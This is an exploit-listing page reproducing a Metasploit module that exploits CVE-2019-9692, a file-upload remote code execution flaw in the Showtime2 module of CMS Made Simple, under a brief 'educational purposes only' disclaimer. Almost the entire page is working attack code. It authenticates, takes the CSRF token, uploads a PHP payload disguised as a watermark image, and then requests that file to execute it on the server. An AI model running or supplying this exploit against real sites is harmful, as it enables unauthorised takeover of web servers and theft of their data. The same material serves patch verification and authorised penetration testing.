Cms made simple (cmsms) showtime2 file upload remote code execution (metasploit) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-03-28 | Type : remote | Platform : php
This exploit / vulnerability Cms made simple (cmsms) showtime2 file upload remote code execution (metasploit) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => "CMS Made Simple (CMSMS) Showtime2 File Upload RCE",
'Description' => %q(
This module exploits a File Upload vulnerability that lead in a RCE in
Showtime2 module (<= 3.6.2) in CMS Made Simple (CMSMS). An authenticated
user with "Use Showtime2" privilege could exploit the vulnerability.

The vulnerability exists in the Showtime2 module, where the class
"class.showtime2_image.php" does not ensure that a watermark file
has a standard image file extension (GIF, JPG, JPEG, or PNG).

Tested on Showtime2 3.6.2, 3.6.1, 3.6.0, 3.5.4, 3.5.3, 3.5.2, 3.5.1, 3.5.0,
3.4.5, 3.4.3, 3.4.2 on CMS Made Simple (CMSMS) 2.2.9.1
),
'License' => MSF_LICENSE,
'Author' =>
[
'Daniele Scanu', # Discovery & PoC
'Fabio Cogno' # Metasploit module
],
'References' =>
[
['CVE', '2019-9692'],
['CWE', '434'],
['EDB', '46546'],
['URL', 'https://forum.cmsmadesimple.org/viewtopic.php?f=1&t=80285'],
['URL', 'http://viewsvn.cmsmadesimple.org/diff.php?repname=showtime2&path=%2Ftrunk%2Flib%2Fclass.showtime2_image.php&rev=47']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => "Mar 11 2019",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, "Base CMS Made Simple directory path", '/']),
OptString.new('USERNAME', [true, "Username to authenticate with", '']),
OptString.new('PASSWORD', [false, "Password to authenticate with", ''])
]
)
end

def do_login
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
'vars_post' => {
'username' => datastore['username'],
'password' => datastore['password'],
'loginsubmit' => 'Submit'
}
)

unless res
fail_with(Failure::Unreachable, 'Connection failed')
end

if res.code == 302
@csrf_name = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-2].to_s
@csrf_value = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-1].to_s
@cookies = res.get_cookies
return
end

fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
end

def upload(fname, fcontent)
# construct POST data
data = Rex::MIME::Message.new
data.add_part('Showtime2,m1_,defaultadmin,0', nil, nil, "form-data; name=\"mact\"")
data.add_part('Upload', nil, nil, "form-data; name=\"m1_upload_submit\"")
data.add_part(@csrf_value, nil, nil, "form-data; name=\"#{@csrf_name}\"")
data.add_part(fcontent, 'text/plain', nil, "from-data; name=\"m1_input_browse\"; filename=\"#{fname}\"")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'admin', 'moduleinterface.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'headers' => {
'Cookie' => @cookies
}
)

unless res
fail_with(Failure::Unreachable, 'Connection failed')
end

if res.code == 200 && (res.body =~ /#{Regexp.escape(fname)}/i || res.body =~ /id="showoverview"/i)
return
end

print_warning('No confidence in PHP payload success or failure')
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'modules', 'Showtime2', 'moduleinfo.ini')
)

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

if res.code == 200
module_version = Gem::Version.new(res.body.scan(/^version = "?(\d\.\d\.\d)"?/).flatten.first)
if module_version < Gem::Version.new('3.6.3')
# Showtime2 module is uploaded and present on "Module Manager" section but it could be NOT installed.
vprint_status("Showtime2 version: #{module_version}")
return Exploit::CheckCode::Appears
end
end

return Exploit::CheckCode::Safe
end

def exploit
unless Exploit::CheckCode::Appears == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end

@csrf_name = nil
@csrf_value = nil
@cookies = nil

do_login

# Upload PHP payload
fname = "#{rand_text_alphanumeric(3..9)}.php"
fcontent = "<?php #{payload.encode} ?>"
print_status('Uploading PHP payload.')
upload(fname, fcontent)

# Register uploaded PHP payload file for cleanup
register_files_for_cleanup('./' + fname)

# Retrieve and execute PHP payload
print_status("Making request for '/#{fname}' to execute payload.")
send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'uploads', 'images', fname)
},
15
)
end
end